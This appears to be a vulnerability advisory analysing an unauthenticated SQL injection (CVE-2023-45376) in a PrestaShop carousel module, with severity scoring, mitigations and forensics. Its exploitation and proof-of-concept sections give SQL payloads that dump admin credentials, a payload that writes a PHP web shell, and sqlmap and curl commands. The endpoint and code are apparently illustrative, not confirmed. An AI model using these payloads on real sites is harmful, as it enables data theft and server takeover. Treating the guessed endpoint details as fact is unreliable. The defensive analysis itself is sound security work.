Description
In the module "Carousels Pack - Instagram, Products, Brands, Supplier" (hicarouselspack) for PrestaShop up to version 1.5.0 from HiPresta for PrestaShop, a guest can perform SQL injection via HiCpProductGetter::getViewedProduct().`
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-49668 (CVE-2023-45376)
Vulnerability: SQL Injection in HiPresta’s "Carousels Pack" Module for PrestaShop
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2023-49668 (CVE-2023-45376) is a critical SQL injection (SQLi) vulnerability in the "Carousels Pack - Instagram, Products, Brands, Supplier" module (hicarouselspack) for PrestaShop, developed by HiPresta. The flaw resides in the HiCpProductGetter::getViewedProduct() method, which improperly sanitizes user-supplied input, allowing unauthenticated attackers to execute arbitrary SQL queries on the underlying database.
Severity Metrics (CVSS v3.1)
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.8 (Critical) | High impact on confidentiality, integrity, and availability. |
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Full database access, including sensitive customer/PII data. |
| Integrity (I) | High (H) | Arbitrary data manipulation (e.g., order tampering, admin account creation). |
| Availability (A) | High (H) | Potential database corruption or denial-of-service (DoS). |
Risk Assessment
- Exploitability: High (publicly disclosed, no authentication required).
- Impact: Severe (full database compromise, potential RCE via database functions).
- Likelihood of Exploitation: High (PrestaShop is widely used in e-commerce, making it a prime target for attackers).
2. Potential Attack Vectors & Exploitation Methods
Attack Surface
The vulnerability is exposed via an unauthenticated HTTP request to the PrestaShop frontend, where the HiCpProductGetter::getViewedProduct() method processes user-controlled input without proper sanitization.
Exploitation Steps
-
Identify Vulnerable Endpoint
- The attacker locates the vulnerable module’s endpoint (e.g., via source code analysis or fuzzing).
- Example vulnerable request:
GET /module/hicarouselspack/getViewedProduct?product_id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - HTTP/1.1 Host: vulnerable-prestashop-site.com
-
Craft Malicious SQL Payload
- Attackers inject arbitrary SQL via the
product_idparameter (or similar input). - Example payloads:
- Data Exfiltration:
1' UNION SELECT 1,CONCAT(username,':',password),3,4,5,6,7,8,9,10 FROM ps_employee-- - - Database Schema Dump:
1' UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8,9,10 FROM INFORMATION_SCHEMA.TABLES-- - - Remote Code Execution (RCE) via SQL Functions:
- If the database supports file write operations (e.g., MySQL
INTO OUTFILE), attackers may write a web shell:1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/shell.php'-- -
- If the database supports file write operations (e.g., MySQL
- Data Exfiltration:
- Attackers inject arbitrary SQL via the
-
Execute Arbitrary Commands
- If RCE is achieved, attackers can:
- Steal customer data (PII, payment details).
- Modify database records (e.g., change order statuses, prices).
- Escalate privileges (e.g., create admin accounts).
- Deploy ransomware or backdoors.
- If RCE is achieved, attackers can:
Exploitation Tools & Techniques
- Manual Exploitation: Using
curl, Burp Suite, or Postman to craft malicious requests. - Automated Tools:
- SQLmap: Automated SQLi detection and exploitation.
sqlmap -u "https://vulnerable-site.com/module/hicarouselspack/getViewedProduct?product_id=1" --batch --dbs - Metasploit: If a module is developed for this CVE.
- SQLmap: Automated SQLi detection and exploitation.
- Chaining with Other Vulnerabilities:
- If PrestaShop has additional flaws (e.g., file upload vulnerabilities), attackers may combine them for full system compromise.
3. Affected Systems & Software Versions
Vulnerable Software
- Module:
hicarouselspack(Carousels Pack - Instagram, Products, Brands, Supplier) - Vendor: HiPresta
- Affected Versions: ≤ 1.5.0
- PrestaShop Compatibility: All versions (since the vulnerability is in the module, not the core).
Impacted Environments
- E-commerce Websites: PrestaShop-based online stores (common in Europe).
- Hosting Providers: Shared hosting environments where PrestaShop is deployed.
- Third-Party Integrations: Modules interacting with
hicarouselspackmay inherit the vulnerability.
Detection Methods
- Manual Verification:
- Check module version in PrestaShop backoffice (
Modules > Module Manager). - Inspect
hicarouselspacksource code forgetViewedProduct()method.
- Check module version in PrestaShop backoffice (
- Automated Scanning:
- Nuclei Template: Custom template for detecting CVE-2023-45376.
- Vulnerability Scanners: Nessus, OpenVAS, or Burp Suite Pro.
- WAF Logs: Look for SQLi patterns in HTTP requests.
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Vendor Patch
- Upgrade to the latest version of
hicarouselspack(if available). - If no patch exists, disable the module immediately.
- Upgrade to the latest version of
-
Temporary Workarounds
- Input Sanitization: Manually patch the
getViewedProduct()method to use prepared statements (parameterized queries).// Example fix (using PDO): $stmt = $db->prepare("SELECT * FROM ps_product WHERE id_product = :product_id"); $stmt->execute(['product_id' => $productId]); - WAF Rules: Deploy ModSecurity or Cloudflare WAF rules to block SQLi attempts.
SecRule ARGS:product_id "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'" - IP Restrictions: Limit access to the vulnerable endpoint via
.htaccessor firewall rules.
- Input Sanitization: Manually patch the
-
Database Hardening
- Least Privilege Principle: Ensure the PrestaShop database user has minimal permissions (no
FILEprivilege). - Database Encryption: Encrypt sensitive data at rest (e.g., customer PII, payment details).
- Regular Backups: Maintain offline backups to recover from potential data corruption.
- Least Privilege Principle: Ensure the PrestaShop database user has minimal permissions (no
Long-Term Mitigations
-
Code Review & Secure Development
- Audit all custom PrestaShop modules for SQLi, XSS, and RCE vulnerabilities.
- Enforce secure coding practices (OWASP Top 10 compliance).
- Use ORM (Object-Relational Mapping) instead of raw SQL queries.
-
Monitoring & Detection
- SIEM Integration: Forward PrestaShop logs to a SIEM (e.g., Splunk, ELK) for anomaly detection.
- File Integrity Monitoring (FIM): Detect unauthorized changes to PHP files.
- Database Activity Monitoring (DAM): Alert on suspicious SQL queries.
-
Vendor & Community Engagement
- Report Vulnerabilities: Encourage responsible disclosure via Friends of Presta or PrestaShop Security Team.
- Third-Party Audits: Conduct penetration tests on PrestaShop modules before deployment.
5. Impact on European Cybersecurity Landscape
Regulatory & Compliance Risks
- GDPR Violation: Unauthorized access to customer data (e.g., names, emails, payment details) may result in fines up to €20M or 4% of global revenue.
- NIS2 Directive: Critical e-commerce operators must report incidents within 24 hours; failure to patch may lead to penalties.
- PCI DSS: If payment data is compromised, merchants may lose PCI compliance, leading to transaction processing restrictions.
Threat Actor Targeting
- Cybercriminals: Exploit SQLi for data theft, fraud, or ransomware deployment.
- State-Sponsored Actors: Target European e-commerce for espionage or supply chain attacks.
- Script Kiddies: Use automated tools (e.g., SQLmap) to deface websites or steal data.
Economic & Reputational Damage
- Financial Losses: Chargebacks, legal fees, and lost sales due to downtime.
- Brand Reputation: Loss of customer trust, negative media coverage.
- Supply Chain Risks: If the module is used by multiple vendors, a single compromise can affect numerous businesses.
European CERT & CSIRT Response
- ENISA (European Union Agency for Cybersecurity): May issue alerts for critical vulnerabilities in widely used software.
- National CSIRTs (e.g., CERT-FR, CERT-Bund): Likely to publish advisories and coordinate patching efforts.
- Threat Intelligence Sharing: Organizations like ECHO (European Cybersecurity Competence Centre) may track exploitation trends.
6. Technical Details for Security Professionals
Root Cause Analysis
The vulnerability stems from improper input validation in HiCpProductGetter::getViewedProduct(), where user-supplied data is directly concatenated into an SQL query without sanitization or parameterization.
Vulnerable Code Snippet (Pseudocode):
public function getViewedProduct($productId) {
$sql = "SELECT * FROM " . _DB_PREFIX_ . "product WHERE id_product = " . $productId;
return Db::getInstance()->executeS($sql); // Unsafe execution
}
- Issue:
$productIdis not sanitized, allowing SQL injection. - Fix: Use prepared statements (as shown in Section 4).
Exploitation Proof of Concept (PoC)
Step 1: Identify the Vulnerable Parameter
- Use Burp Suite or curl to test for SQLi:
curl -v "https://vulnerable-site.com/module/hicarouselspack/getViewedProduct?product_id=1'"- If the response contains a database error, the site is vulnerable.
Step 2: Extract Database Information
- Dump table names:
1' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=DATABASE()-- - - Extract admin credentials:
1' UNION SELECT 1,CONCAT(id_employee,':',email,':',passwd),3,4,5,6,7,8,9,10 FROM ps_employee-- -
Step 3: Achieve Remote Code Execution (RCE)
- If MySQL has
FILEprivileges, write a PHP shell:1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/shell.php'-- - - Access the shell:
curl "https://vulnerable-site.com/shell.php?cmd=id"
Forensic & Incident Response Considerations
-
Log Analysis
- Check Apache/Nginx logs for SQLi patterns:
grep -i "union.*select" /var/log/apache2/access.log - Review PrestaShop logs (
/var/www/html/var/logs/).
- Check Apache/Nginx logs for SQLi patterns:
-
Memory Forensics
- Use Volatility or Rekall to analyze running processes for malicious activity.
-
Database Forensics
- Check for unauthorized queries in MySQL general log:
SET GLOBAL general_log = 'ON'; SELECT * FROM mysql.general_log WHERE argument LIKE '%UNION%SELECT%';
- Check for unauthorized queries in MySQL general log:
-
Containment & Eradication
- Isolate the server from the network.
- Restore from a clean backup (if available).
- Rotate all credentials (database, admin, API keys).
- Reinstall PrestaShop if rootkit infection is suspected.
Conclusion & Recommendations
EUVD-2023-49668 (CVE-2023-45376) is a critical SQL injection vulnerability with severe implications for European e-commerce businesses. Given its CVSS 9.8 score and low attack complexity, organizations must patch immediately or implement temporary mitigations to prevent exploitation.
Key Takeaways for Security Teams
✅ Patch Management: Prioritize updates for PrestaShop modules. ✅ Input Validation: Enforce prepared statements in all SQL queries. ✅ Monitoring: Deploy WAFs, SIEM, and DAM to detect attacks. ✅ Incident Response: Prepare for GDPR breach notifications if data is compromised. ✅ Threat Intelligence: Monitor exploit databases (e.g., Exploit-DB, CISA KEV) for active exploitation.
Final Risk Rating
| Factor | Rating |
|---|---|
| Exploitability | High |
| Impact | Critical |
| Remediation Urgency | Immediate |
Action Required: All PrestaShop administrators using hicarouselspack ≤ 1.5.0 must upgrade or disable the module without delay. Failure to act may result in data breaches, financial losses, and regulatory penalties.